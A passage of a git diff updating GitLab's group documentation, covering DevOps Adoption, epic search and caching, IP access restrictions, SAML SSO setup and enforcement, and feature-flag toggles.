`CI_PRE_CLONE_SCRIPT` that contains a bash script. [This example](../../development/pipelines.md#pre-clone-step) diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md index 651bb7c055e..aa356bee8e3 100644 --- a/doc/user/group/bulk_editing/index.md +++ b/doc/user/group/bulk_editing/index.md @@ -31,7 +31,7 @@ When bulk editing issues in a group, you can edit the following attributes: - [Epic](../epics/index.md) - [Milestone](../../project/milestones/index.md) - [Labels](../../project/labels.md) -- [Health status](../../project/issues/index.md#health-status) +- [Health status](../../project/issues/managing_issues.md#health-status) - [Iteration](../iterations/index.md) To update multiple project issues at the same time: diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index d9167388e66..87b259df9d8 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -86,7 +86,7 @@ your cluster, which can cause deployment jobs to fail. To clear the cache: -1. Navigate to your group’s **Kubernetes** page, +1. Navigate to your group's **Kubernetes** page, and select your cluster. 1. Expand the **Advanced settings** section. 1. Click **Clear cluster cache**. @@ -107,7 +107,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address. When adding more than one Kubernetes cluster to your project, you need to differentiate them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the -[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) +[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) work. While evaluating which environment matches the environment scope of a diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md index 813d2b8e265..016bda329b2 100644 --- a/doc/user/group/custom_project_templates.md +++ b/doc/user/group/custom_project_templates.md @@ -62,7 +62,7 @@ GitLab administrators can Within this section, you can configure the group where all the custom project templates are sourced. Every project _template_ directly under the group namespace is -available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) are set to **Everyone With Access**. +available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) except for GitLab Pages are set to **Everyone With Access**. However, private projects will be available only if the user is a member of the project. diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png Binary files differnew file mode 100644 index 00000000000..a6ece47ba9a --- /dev/null +++ b/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png diff --git a/doc/user/group/devops_adoption/index.md b/doc/user/group/devops_adoption/index.md new file mode 100644 index 00000000000..920421ef9bb --- /dev/null +++ b/doc/user/group/devops_adoption/index.md @@ -0,0 +1,60 @@ +--- +stage: Manage +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Group DevOps Adoption **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321083) in GitLab 13.11. +> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-group-devops-adoption). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321083) in GitLab 13.11 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). + +To access Group DevOps Adoption, navigate to your group sidebar and select **Analytics > DevOps Adoption** + +Group DevOps Adoption shows you how individual groups and sub-groups within your organization use the following features: + +- Issues +- Merge Requests +- Approvals +- Runners +- Pipelines +- Deployments +- Scans + +When managing groups in the UI, you can manage your sub-groups with the **Add/Remove sub-groups** +button, in the top right hand section of your Groups pages. + +DevOps Adoption allows you to: + +- Verify whether you are getting the return on investment that you expected from GitLab. +- Identify specific sub-groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey. +- Find the sub-groups that have adopted certain features and can provide guidance to other sub-groups on how to use those features. + + + +## Enable or disable Group DevOps Adoption **(ULTIMATE)** + +Group DevOps Adoption is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:group_devops_adoption) +``` + +To disable it: + +```ruby +Feature.disable(:group_devops_adoption) +``` diff --git a/doc/user/group/epics/img/epic_board_v13_10.png b/doc/user/group/epics/img/epic_board_v13_10.png Binary files differindex 5148e6dd4ec..5a14d9288d3 100644 --- a/doc/user/group/epics/img/epic_board_v13_10.png +++ b/doc/user/group/epics/img/epic_board_v13_10.png diff --git a/doc/user/group/epics/img/epics_search.png b/doc/user/group/epics/img/epics_search.png Binary files differdeleted file mode 100644 index 96335527468..00000000000 --- a/doc/user/group/epics/img/epics_search.png +++ /dev/null diff --git a/doc/user/group/epics/img/epics_search_v13_11.png b/doc/user/group/epics/img/epics_search_v13_11.png Binary files differnew file mode 100644 index 00000000000..c11aca96a99 --- /dev/null +++ b/doc/user/group/epics/img/epics_search_v13_11.png diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md index 1cb024ceb01..12377b3926d 100644 --- a/doc/user/group/epics/index.md +++ b/doc/user/group/epics/index.md @@ -81,7 +81,7 @@ to: > - The health status of a closed issue [is hidden](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3 or later. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7. -Report or respond to the health of issues and epics by setting a red, amber, or green [health status](../../project/issues/index.md#health-status), which then appears on your Epic tree. +Report or respond to the health of issues and epics by setting a red, amber, or green [health status](../../project/issues/managing_issues.md#health-status), which then appears on your Epic tree. ## Multi-level child epics **(ULTIMATE)** diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index 3c5e140965a..1999e5ba214 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -110,15 +110,17 @@ link in the issue sidebar. > - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.5. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to the [Premium](https://about.gitlab.com/pricing/) tier in GitLab 12.8. +> - Searching by the user's reaction emoji [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325630) in GitLab 13.11. You can search for an epic from the list of epics using filtered search bar (similar to -that of Issues and Merge Requests) based on following parameters: +that of issues and merge requests) based on following parameters: - Title or description - Author name / username - Labels +- Reaction emoji - + To search, go to the list of epics and select the field **Search or filter results**. It displays a dropdown menu, from which you can add an author. You can also enter plain @@ -321,3 +323,36 @@ To remove a child epic from a parent epic: 1. Select the <kbd>x</kbd> button in the parent epic's list of epics. 1. Select **Remove** in the **Remove epic** warning message. + +## Cached epic count + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299540) in GitLab 13.11. +> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-epic-count). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +In a group, the sidebar displays the total count of open epics and this value is cached if higher +than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours. + +### Enable or disable cached epic count **(PREMIUM SELF)** + +Cached epic count in the left sidebar is under development but ready for production use. It is +deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can disable it. + +To disable it: + +```ruby +Feature.disable(:cached_sidebar_open_epics_count) +``` + +To enable it: + +```ruby +Feature.enable(:cached_sidebar_open_epics_count) +``` diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md index 302f12273cb..e84e35607e3 100644 --- a/doc/user/group/import/index.md +++ b/doc/user/group/import/index.md @@ -57,6 +57,7 @@ The following resources are migrated to the target instance: - due date - created at - updated at + - iid ([Introduced in 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/326157)) - Iterations ([Introduced in 13.10](https://gitlab.com/gitlab-org/gitlab/-/issues/292428)) - iid - title @@ -66,6 +67,10 @@ The following resources are migrated to the target instance: - due date - created at - updated at +- Badges ([Introduced in 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/292431)) + - name + - link URL + - image URL Any other items are **not** migrated. diff --git a/doc/user/group/index.md b/doc/user/group/index.md index 36d292f670d..d070277beed 100644 --- a/doc/user/group/index.md +++ b/doc/user/group/index.md @@ -7,21 +7,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Groups **(FREE)** -In GitLab, you can put related projects together in a group. +In GitLab, you use groups to manage one or more related projects at the same time. -For example, you might create a group for your company members and a subgroup for each individual team. -You can name the group `company-team`, and the subgroups `backend-team`, `frontend-team`, and `production-team`. +You can use groups to manage permissions for your projects. If someone has access to +the group, they get access to all the projects in the group. -Then you can: +You can also view all of the issues and merge requests for the projects in the group, +and view analytics that show the group's activity. -- Grant members access to multiple projects at once. -- Add to-do items for all of the group members at once. -- View the [issues](../project/issues/index.md#issues-list) and - [merge requests](../project/merge_requests/reviewing_and_managing_merge_requests.md#view-merge-requests-for-all-projects-in-a-group) - for all projects in the group, together in a single list view. -- [Bulk edit](../group/bulk_editing/index.md) issues, epics, and merge requests. +You can use groups to communicate with all of the members of the group at once. -You can also create [subgroups](subgroups/index.md). +For larger organizations, you can also create [subgroups](subgroups/index.md). ## View groups @@ -140,7 +136,7 @@ To remove a member from a group: 1. From the left menu, select **Members**. 1. Next to the member you want to remove, select **Delete**. 1. Optional. On the **Remove member** confirmation box, select the - **Also unassign this user from related issues and merge requests** checkbox. + **Also unassign this user from linked issues and merge requests** checkbox. 1. Select **Remove member**. ## Filter and sort members in a group @@ -261,6 +257,9 @@ To view the activity feed in Atom format, select the > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18328) in GitLab 12.7. +NOTE: +In GitLab 13.11, you can [replace this form with a modal window](#share-a-group-modal-window). + Similar to how you [share a project with a group](../project/members/share_project_with_groups.md), you can share a group with another group. Members get direct access to the shared group. This is not valid for inherited members. @@ -277,6 +276,27 @@ To share a given group, for example, `Frontend` with another group, for example, All the members of the `Engineering` group are added to the `Frontend` group. +### Share a group modal window + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11. +> - [Deployed behind a feature flag](../feature_flags.md), disabled by default. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - Replaces the existing form with buttons to open a modal window. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](../project/members/index.md#enable-or-disable-modal-window). **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +In GitLab 13.11, you can optionally replace the sharing form with a modal window. +To share a group after enabling this feature: + +1. Go to your group's page. +1. In the left sidebar, go to **Members**, and then select **Invite a group**. +1. Select a group, and select a **Max access level**. +1. (Optional) Select an **Access expiration date**. +1. Select **Invite**. + ## Manage group memberships via LDAP **(PREMIUM SELF)** Group syncing allows LDAP groups to be mapped to GitLab groups. This provides more control over per-group user management. To configure group syncing, edit the `group_base` **DN** (`'OU=Global Groups,OU=GitLab INT,DC=GitLab,DC=org'`). This **OU** contains all groups that will be associated with GitLab groups. @@ -322,25 +342,6 @@ LDAP user permissions can be manually overridden by an administrator. To overrid Now you can edit the user's permissions from the **Members** page. -## Group wikis **(PREMIUM)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5. - -Group wikis work the same way as [project wikis](../project/wiki/index.md). - -Group wikis can be edited by members with [Developer permissions](../../user/permissions.md#group-members-permissions) -and above. - -You can move group wiki repositories by using the [Group repository storage moves API](../../api/group_repository_storage_moves.md). - -There are a few limitations compared to project wikis: - -- Git LFS is not supported. -- Group wikis are not included in global search. -- Changes to group wikis don't show up in the group's activity feed. - -For updates, follow [the epic that tracks feature parity with project wikis](https://gitlab.com/groups/gitlab-org/-/epics/2782). - ## Transfer a group You can transfer groups in the following ways: @@ -387,16 +388,10 @@ because the project cannot be moved. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43290) in GitLab 13.6. -By default, when you create a new project in GitLab, the initial branch is called `master`. -For groups, a group owner can customize the initial branch name to something -else. This way, every new project created under that group from then on starts from the custom branch name rather than `master`. - -To use a custom name for the initial branch: - -1. Go to the group's **Settings > Repository** page. -1. Expand the **Default initial branch name** section. -1. Change the default initial branch to a custom name of your choice. -1. Select **Save changes**. +When you create a new project in GitLab, a default branch is created with the +first push. The group owner can +[customize the initial branch](../project/repository/branches/default.md#group-level-custom-initial-branch-name) +for the group's projects to meet your group's needs. ## Remove a group @@ -434,7 +429,7 @@ To prevent a project from being shared with other groups: 1. Go to the group's **Settings > General** page. 1. Expand the **Permissions, LFS, 2FA** section. -1. Select **Prevent sharing a project within <group_name> with other groups**. +1. Select **Prevent sharing a project within `<group_name>` with other groups**. 1. Select **Save changes**. ## Prevent members from being added to a group **(PREMIUM)** @@ -460,33 +455,36 @@ API requests to add a new user to a project are not possible. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1985) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.0. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215410) to [GitLab Premium](https://about.gitlab.com/pricing/) in 13.1. -NOTE: -IP access restrictions are not functioning as expected on GitLab.com. If enabled, -users cannot perform Git operations through SSH, or access projects in the UI. -For more information, [see this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/271673). - To ensure only people from your organization can access particular -resources, you can restrict access to groups by IP address. This setting applies to all subgroups, -projects, issues, and so on. - -IP access restrictions can be configured at the group level only. +resources, you can restrict access to groups by IP address. This group-level setting +applies to: -This restriction applies to: - -- The GitLab UI. +- The GitLab UI, including subgroups, projects, and issues. - [In GitLab 12.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/12874), the API. -- [In GitLab 12.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/32113), Git actions via SSH. -Administrators and group owners are able to access the group regardless of the IP restriction. +You should consider these security implications before configuring IP address restrictions: + +- **SSH requests**: While you can restrict HTTP traffic on GitLab.com with IP address restrictions, + they cause SSH requests, including Git operations over SSH, to fail. For more information, + read [issue 271673](https://gitlab.com/gitlab-org/gitlab/-/issues/271673). +- **Administrators and group owners**: Users with these permission levels can always + access the group settings, regardless of IP restriction, but they cannot access projects + belonging to the group when accessing from a disallowed IP address. +- **GitLab API and runner activities**: Only the [Groups](../../api/groups.md) + and [Projects](../../api/projects.md) APIs are protected by IP address restrictions. + When you register a runner, it is not bound by the IP restrictions. When the runner + requests a new job or an update to a job's state, it is also not bound by + the IP restrictions. But when the running CI/CD job sends Git requests from a + restricted IP address, the IP restriction prevents code from being cloned. To restrict group access by IP address: -1. Go to the group’s **Settings > General** page. +1. Go to the group's **Settings > General** page. 1. Expand the **Permissions, LFS, 2FA** section. 1. In the **Allow access to the following IP addresses** field, enter IP address ranges in CIDR notation. 1. Select **Save changes**. - +  ## Restrict group access by domain **(PREMIUM)** @@ -638,6 +636,7 @@ The group's new subgroups have push rules set for them based on either: ## Related topics +- [Group wikis](../project/wiki/index.md) - [Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size). **(FREE SELF)** - [Repositories analytics](repositories_analytics/index.md): View overall activity of all projects with code coverage. **(PREMIUM)** - [Contribution analytics](contribution_analytics/index.md): View the contributions (pushes, merge requests, @@ -662,3 +661,15 @@ The group's new subgroups have push rules set for them based on either: - [Lock the sharing with group feature](#prevent-a-project-from-being-shared-with-groups). - [Enforce two-factor authentication (2FA)](../../security/two_factor_authentication.md#enforcing-2fa-for-all-users-in-a-group): Enforce 2FA for all group members. + +## Troubleshooting + +### Verify if access is blocked by IP restriction + +If a user sees a 404 when they would normally expect access, and the problem is limited to a specific group, search the `auth.log` rails log for one or more of the following: + +- `json.message`: `'Attempting to access IP restricted group'` +- `json.allowed`: `false` + +In viewing the log entries, compare the `remote.ip` with the list of +[allowed IPs](#restrict-group-access-by-ip-address) for the group. diff --git a/doc/user/group/insights/img/insights_example_stacked_bar_chart.png b/doc/user/group/insights/img/insights_example_stacked_bar_chart.png Binary files differdeleted file mode 100644 index 0e338b99e4c..00000000000 --- a/doc/user/group/insights/img/insights_example_stacked_bar_chart.png +++ /dev/null diff --git a/doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.png b/doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.png Binary files differnew file mode 100644 index 00000000000..1ef49191a13 --- /dev/null +++ b/doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.png diff --git a/doc/user/group/insights/img/insights_sidebar_link_v12_8.png b/doc/user/group/insights/img/insights_sidebar_link_v12_8.png Binary files differdeleted file mode 100644 index 9a6d6bae766..00000000000 --- a/doc/user/group/insights/img/insights_sidebar_link_v12_8.png +++ /dev/null diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md index b559e6806e9..4975b27a66d 100644 --- a/doc/user/group/insights/index.md +++ b/doc/user/group/insights/index.md @@ -13,14 +13,12 @@ Configure the Insights that matter for your groups to explore data such as triage hygiene, issues created/closed per a given period, average time for merge requests to be merged and much more. - + ## View your group's Insights You can access your group's Insights by clicking the **Analytics > Insights** -link in the left sidebar: - - +link in the left sidebar. ## Configure your Insights diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md index 8e125a0cc6e..38d209f04ca 100644 --- a/doc/user/group/iterations/index.md +++ b/doc/user/group/iterations/index.md @@ -8,11 +8,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Iterations **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214713) in GitLab 13.1. -> - It was deployed behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) on GitLab 13.2. -> - It's enabled on GitLab.com. -> - It's able to be enabled or disabled per-group. -> - It's recommended for production use. +> - Deployed behind a feature flag, disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) in GitLab 13.2. +> - Enabled on GitLab.com. +> - Able to be enabled or disabled per-group. +> - Recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(PREMIUM ONLY)** > - Moved to GitLab Premium in 13.9. diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md index 42522723047..ef47ceadd88 100644 --- a/doc/user/group/repositories_analytics/index.md +++ b/doc/user/group/repositories_analytics/index.md @@ -69,7 +69,7 @@ For each day that a coverage report was generated by a job in a project's pipeli If the project's code coverage was calculated more than once in a day, we will take the last value from that day. NOTE: -[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/index.md#default-branch). In earlier versions, it is taken from the `master` branch. +[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/default.md). In earlier versions, it is taken from the `master` branch. <!-- ## Troubleshooting diff --git a/doc/user/group/roadmap/img/roadmap_filters_v13_11.png b/doc/user/group/roadmap/img/roadmap_filters_v13_11.png Binary files differnew file mode 100644 index 00000000000..d2a76b4edce --- /dev/null +++ b/doc/user/group/roadmap/img/roadmap_filters_v13_11.png diff --git a/doc/user/group/roadmap/img/roadmap_filters_v13_8.png b/doc/user/group/roadmap/img/roadmap_filters_v13_8.png Binary files differdeleted file mode 100644 index d826909b022..00000000000 --- a/doc/user/group/roadmap/img/roadmap_filters_v13_8.png +++ /dev/null diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md index 9b3ae75b39c..88d43715c58 100644 --- a/doc/user/group/roadmap/index.md +++ b/doc/user/group/roadmap/index.md @@ -42,6 +42,7 @@ toggle the list of the milestone bars. > - Filtering roadmaps by milestone is recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-filtering-roadmaps-by-milestone). **(PREMIUM SELF)** > - Filtering by epic confidentiality [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218624) in GitLab 13.9. +> - Filtering by epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218623) in GitLab 13.11. WARNING: Filtering roadmaps by milestone might not be available to you. Check the **version history** note above for details. @@ -69,8 +70,10 @@ You can also filter epics in the Roadmap view by the epics': - Label - Milestone - Confidentiality +- Epic +- Your Reaction - + Roadmaps can also be [visualized inside an epic](../epics/index.md#roadmap-in-epics). diff --git a/doc/user/group/saml_sso/group_managed_accounts.md b/doc/user/group/saml_sso/group_managed_accounts.md index 9f2cafd456b..a9b1901bc8c 100644 --- a/doc/user/group/saml_sso/group_managed_accounts.md +++ b/doc/user/group/saml_sso/group_managed_accounts.md @@ -84,6 +84,16 @@ To access the Credentials inventory of a group, navigate to **{shield}** **Secur This feature is similar to the [Credentials inventory for self-managed instances](../../admin_area/credentials_inventory.md). +### Revoke a group-managed account's personal access token + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214811) in GitLab 13.5. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267184) in GitLab 13.10. + +Group owners can revoke the personal access tokens of accounts in their group. To do so, select +the Personal Access Tokens tab, and select Revoke. + +When a personal access token is revoked, the group-managed account user is notified by email. + ## Limiting lifetime of personal access tokens of users in Group-managed accounts **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118893) in GitLab 12.10. diff --git a/doc/user/group/saml_sso/img/scim_name_identifier_mapping.png b/doc/user/group/saml_sso/img/scim_name_identifier_mapping.png Binary files differdeleted file mode 100644 index f9c63970f16..00000000000 --- a/doc/user/group/saml_sso/img/scim_name_identifier_mapping.png +++ /dev/null diff --git a/doc/user/group/saml_sso/img/scim_provisioning_status.png b/doc/user/group/saml_sso/img/scim_provisioning_status.png Binary files differdeleted file mode 100644 index 41466ec9276..00000000000 --- a/doc/user/group/saml_sso/img/scim_provisioning_status.png +++ /dev/null diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index 004efe7b244..f2f28046443 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -10,24 +10,28 @@ info: To determine the technical writer assigned to the Stage/Group associated w > Introduced in GitLab 11.0. This page describes SAML for Groups. For instance-wide SAML on self-managed GitLab instances, see [SAML OmniAuth Provider](../../../integration/saml.md). +[View the differences between SaaS and Self-Managed Authentication and Authorization Options](../../../administration/auth/README.md#saas-vs-self-managed-comparison). SAML on GitLab.com allows users to sign in through their SAML identity provider. If the user is not already a member, the sign-in process automatically adds the user to the appropriate group. -If you follow our guidance to automate user provisioning using [SCIM](scim_setup.md) or [group-managed accounts](group_managed_accounts.md), you do not need to create such accounts manually. - -User synchronization of SAML SSO groups is supported through [SCIM](scim_setup.md). SCIM supports adding and removing users from the GitLab group. +User synchronization of SAML SSO groups is supported through [SCIM](scim_setup.md). SCIM supports adding and removing users from the GitLab group automatically. For example, if you remove a user from the SCIM app, SCIM removes that same user from the GitLab group. SAML SSO is only configurable at the top-level group. -## Configuring your Identity Provider +If required, you can find [a glossary of common terms](../../../integration/saml.md#glossary-of-common-terms). -1. Navigate to the group and select **Settings > SAML SSO**. -1. Configure your SAML server using the **Assertion consumer service URL**, **Identifier**, and **GitLab single sign-on URL**. Alternatively GitLab provides [metadata XML configuration](#metadata-configuration). See [specific identity provider documentation](#providers) for more details. +## Configuring your identity provider + +1. Navigate to the GitLab group and select **Settings > SAML SSO**. +1. Configure your SAML identity provider using the **Assertion consumer service URL**, **Identifier**, and **GitLab single sign-on URL**. + Alternatively GitLab provides [metadata XML configuration](#metadata-configuration). + See [specific identity provider documentation](#providers) for more details. 1. Configure the SAML response to include a NameID that uniquely identifies each user. 1. Configure [required assertions](#assertions) at minimum containing the user's email address. -1. While the default is enabled for most SAML providers, please ensure the app is set to have [Service Provider](#glossary) initiated calls in order to link existing GitLab accounts. +1. While the default is enabled for most SAML providers, please ensure the app is set to have service provider + initiated calls in order to link existing GitLab accounts. 1. Once the identity provider is set up, move on to [configuring GitLab](#configuring-gitlab).  @@ -57,30 +61,25 @@ We recommend setting the NameID format to `Persistent` unless using a field (suc ### Assertions For users to be created with the right information with the improved [user access and management](#user-access-and-management), -the following user details need to be passed to GitLab as SAML assertions. +the user details need to be passed to GitLab as SAML assertions. -| Field | Supported keys | -|-----------------|----------------| -| Email (required)| `email`, `mail` | -| Username | `username`, `nickname` | -| Full Name | `name` | -| First Name | `first_name`, `firstname`, `firstName` | -| Last Name | `last_name`, `lastname`, `lastName` | +At a minimum, the user's email address *must* be specified as an assertion named `email` or `mail`. +See [the assertions list](../../../integration/saml.md#assertions) for other available claims. ### Metadata configuration -GitLab provides metadata XML that can be used to configure your Identity Provider. +GitLab provides metadata XML that can be used to configure your identity provider. 1. Navigate to the group and select **Settings > SAML SSO**. 1. Copy the provided **GitLab metadata URL**. -1. Follow your Identity Provider's documentation and paste the metadata URL when it's requested. +1. Follow your identity provider's documentation and paste the metadata URL when it's requested. ## Configuring GitLab After you set up your identity provider to work with GitLab, you must configure GitLab to use it for authentication: 1. Navigate to the group's **Settings > SAML SSO**. -1. Find the SSO URL from your Identity Provider and enter it the **Identity provider single sign-on URL** field. +1. Find the SSO URL from your identity provider and enter it the **Identity provider single sign-on URL** field. 1. Find and enter the fingerprint for the SAML token signing certificate in the **Certificate** field. 1. Select the access level to be applied to newly added users in the **Default membership role** field. The default access level is 'Guest'. 1. Select the **Enable SAML authentication for this group** toggle switch. @@ -89,7 +88,7 @@ After you set up your identity provider to work with GitLab, you must configure  NOTE: -Please note that the certificate [fingerprint algorithm](#additional-providers-and-setup-options) must be in SHA1. When configuring the identity provider, use a secure signature algorithm. +Please note that the certificate [fingerprint algorithm](../../../integration/saml.md#notes-on-configuring-your-identity-provider) must be in SHA1. When configuring the identity provider, use a secure signature algorithm. ### SSO enforcement @@ -97,32 +96,42 @@ Please note that the certificate [fingerprint algorithm](#additional-providers-a - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9255) in GitLab 11.11 with ongoing enforcement in the GitLab UI. - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/292811) in GitLab 13.8, with an updated timeout experience. - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/211962) in GitLab 13.8 with allowing group owners to not go through SSO. +- [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9152) in GitLab 13.11 with enforcing open SSO session to use Git if this setting is switched on. -With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users can't be added manually, and may only access project/group resources via the UI by signing in through the SSO URL. +With this option enabled, users (except owners) must go through your group's GitLab single sign-on URL if they wish to access group resources through the UI. Users can't be manually added as members. + +SSO enforcement does not affect sign in or access to any resources outside of the group. Users can view which groups and projects they are a member of without SSO sign in. However, users are not prompted to sign in through SSO on each visit. GitLab checks whether a user has authenticated through SSO. If it's been more than 1 day since the last sign-in, GitLab prompts the user to sign in again through SSO. -We intend to add a similar SSO requirement for [Git and API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152). +We intend to add a similar SSO requirement for [API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152). -When SSO enforcement is enabled for a group, users can't share a project in the group outside the top-level group, even if the project is forked. +SSO has the following effects when enabled: -## Providers +- For groups, users can't share a project in the group outside the top-level group, + even if the project is forked. +- For a Git activity, users must be signed-in through SSO before they can push to or + pull from a GitLab repository. +<!-- Add bullet for API activity when https://gitlab.com/gitlab-org/gitlab/-/issues/9152 is complete --> -NOTE: -GitLab is unable to provide full support for integrating identity providers that are not listed here. +## Providers -| Provider | Documentation | -|----------|---------------| -| Azure | [Configuring single sign-on to applications](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) | -| Okta | [Setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/overview/) | -| OneLogin | [Use the OneLogin SAML Test Connector](https://onelogin.service-now.com/support?id=kb_article&sys_id=93f95543db109700d5505eea4b96198f) | +The SAML standard means that a wide range of identity providers will work with GitLab. Your identity provider may have relevant documentation. It may be generic SAML documentation, or specifically targeted for GitLab. When [configuring your identity provider](#configuring-your-identity-provider), please consider the notes below for specific providers to help avoid common issues and as a guide for terminology used. +For providers not listed below, you can refer to the [instance SAML notes on configuring an identity provider](../../../integration/saml.md#notes-on-configuring-your-identity-provider) +for additional guidance on information your identity provider may require. + +Please note that GitLab provides the following for guidance only. +If you have any questions on configuring the SAML app, please contact your provider's support. + ### Azure setup notes +Please follow the Azure documentation on [configuring single sign-on to applications](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) with the notes below for consideration. + <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For a demo of the Azure SAML setup including SCIM, see [SCIM Provisioning on Azure Using SAML SSO for Groups Demo](https://youtu.be/24-ZxmTeEBU). Please note that the video is outdated in regard to objectID mapping and the [SCIM documentation should be followed](scim_setup.md#azure-configuration-steps). @@ -142,6 +151,8 @@ We recommend: ### Okta setup notes +Please follow the Okta documentation on [setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/overview/) with the notes below for consideration. + <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For a demo of the Okta SAML setup including SCIM, see [Demo: Okta Group SAML & SCIM setup](https://youtu.be/0ES9HsZq0AQ). @@ -165,7 +176,7 @@ OneLogin supports their own [GitLab (SaaS)](https://onelogin.service-now.com/sup application. If you decide to use the OneLogin generic [SAML 